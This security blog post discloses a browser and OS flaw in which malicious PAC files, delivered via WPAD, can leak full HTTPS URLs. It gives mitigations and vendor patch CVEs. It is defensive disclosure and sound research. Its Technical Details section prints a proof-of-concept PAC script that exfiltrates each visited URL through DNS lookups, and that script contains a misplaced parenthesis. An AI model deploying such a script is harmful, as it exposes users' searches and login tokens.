In March this year we discovered an issue with the way many web browsers and operating systems handle Proxy Auto-Config (PAC) files. PAC files are JavaScript code that tell the browser which proxy to use when trying to reach a particular URL. If an attacker can get your browser to use a malicious PAC file (for example via a rogue access point or WPAD injection attacks), they can use JavaScript code to monitor the full HTTPS URL of every web request your browser makes. HTTPS URLs can contain sensitive information such as search terms and security tokens used for logging into websites.
Due to Windows' default proxy settings, many browsers and applications auto-discover PAC files using the Web Proxy Auto-Discovery (WPAD) protocol. An attacker on a local network (or even in some cases a remote Internet-based attacker) can force browsers to use a malicious PAC file, and then have full visibility of all HTTPS URLs the user visits.
Whilst primarily a Windows issue, Android, OS X and iOS may be vulnerable to PAC HTTPS leaks when network connections are specifically configured to use PAC files.
Mitigation
Users of Android, Chrome, iOS and OS X should ensure they are using the latest versions of those products, which have been patched against this issue - see the Responsible Disclosure section below for more details.
Windows users can work around the issue by disabling the default 'automatically detect settings' option in the LAN settings section of Internet Properties.
Organisations that rely on PAC scripts should ensure they are securely delivered over HTTPS or fetched from the local disk. This prevents the possibility of an attacker intercepting the PAC file and inserting malicious JavaScript. The safest way to specify a PAC script is by putting an explicit HTTPS URL in the LAN proxy settings and disabling auto-discovery.
Users who rely on WPAD when switching between different networks put themselves at risk. Aside from the PAC HTTPS leak issue, WPAD puts users at risk of several other attacks, so it's a good idea to disable it anyway.
Technical Details
Web proxies are used when a browser cannot connect directly to the internet (e.g. due to corporate firewalls). Instead, the browser will connect to the proxy, which will request the content from the destination server and return it back to the browser. For encrypted HTTPS traffic proxies work slightly differently. In this case, the browser will ask the proxy to open a tunnel to the destination server, and will use end-to-end encrypted TLS to talk securely with the server. When a browser fetches HTTPS content via a proxy, the proxy knows only what site you're connecting to (e.g. wikipedia.org) but it cannot see or modify the content.
PAC files are JavaScript code that tell the browser which proxy to use when trying to reach a particular URL. For each URL visited the FindProxyForURL function in the PAC script is called to determine the proxy to use. A simple PAC script might look like this:
function FindProxyForURL(url, host) {
if (host.indexOf('initech.corp') >= 0)
return 'proxy.initech.corp';
return 'DIRECT';
}Of note here is that the FindProxyForURL function gets passed the full URL of the page which is being visited, even for HTTPS URLs. A malicious PAC script can leak this information using one of the available PAC functions, such as the dnsResolve function:
function FindProxyForURL(url, host) {
if (url.indexOf('https' == 0) {
var leakUrl = (url + '.leak').replace(/[^\w]+/gi, '.');
dnsResolve(leakUrl);
}
return 'DIRECT';
}
This will cause an encoded version of the full HTTPS URL of the page viewed to be looked up as if it were a DNS name. The attacker can then retrieve the encoded HTTPS URL from their DNS logs.
A normal network based attacker observing your internet traffic can learn that you have securely visited a particular website e.g google.com. However with this attack they can see the full HTTPS URL, including path and parameters, for your visit. For example, from the above malicious PAC script the following encoded URL could be observed from an HTTPS Google search query:
https.www.google.com.search.q.Context.Information.security.leak
Is this even an issue?
As we’ve said above, WPAD attacks are already well known. An attacker who can proxy your web traffic is in a powerful position to do all sorts of nasty things. They can see the content of all non-encrypted web pages you visit. They can inject malicious JavaScript into those web pages, and attempt to deliver malware to the browser.
In theory, websites that use HTTPS should be safe from these types of man-in-the-middle attacks. However, in 2009 Moxie Marlinspike released sslstrip, which demonstrated various practical techniques to bypass HTTPS. For example, sslstrip would rewrite HTTPS links in search results to point to HTTP instead, allowing an attacker to see all the traffic for many sites that would normally be protected by HTTPS.
The issues highlighted by sslstrip have resulted in a large number of security improvements, both in web browsers and many popular websites. Since 2009 Google, Facebook and Twitter have all switched to HTTPS by default. The 'HTTP Strict Transport Security' specification was introduced and allows websites to tell browsers to always use HTTPS when connecting to them. This prevents sslstrip-style downgrade attacks, even if the user types an http:// URL in their browser. The TLS protocol used by HTTPS has been hardened too, and browsers have begun dropping support for older insecure crypto standards.
As a result of all these security improvements, sslstrip is much less effective in 2016 than it was in 2009. Users should be safe on coffee-shop WiFi if they stick to hardened HTTPS websites. This is why leaking HTTPS URLs is a much more serious issue than it might have been a few years ago.
What's the Risk?
We will be presenting details of the risks that users are exposed to from this vulnerability at our DEF CON presentation Toxic Proxies - Bypassing HTTPS and VPNs to Pwn Your Online Identity next week and a subsequent blog post. We'll demonstrate how personal data can be extracted, how cloud storage of photos and documents can be compromised and how authentication tokens can be intercepted.
Responsible Disclosure
Over the past 12 months multiple security researchers have discovered this issue, however the issue remained unreported to browser and OS vendors. As a part of Context's responsible disclosure policy, after independently identifying and confirming the issue we reported it to affected vendors in March 2016. The following vendor patches have been released in response to our reports:
- Apple OS X, Apple iOS - May 2016 [CVE-2016-1801]
- Google Android - July 2016 [CVE-2016-3763]
- Google Chrome - July 2016 [CVE-2016-5134]
Contact and Follow-up
Alex and Paul both work in Context's Research team from their London office. See the Contact Us for how to get in touch.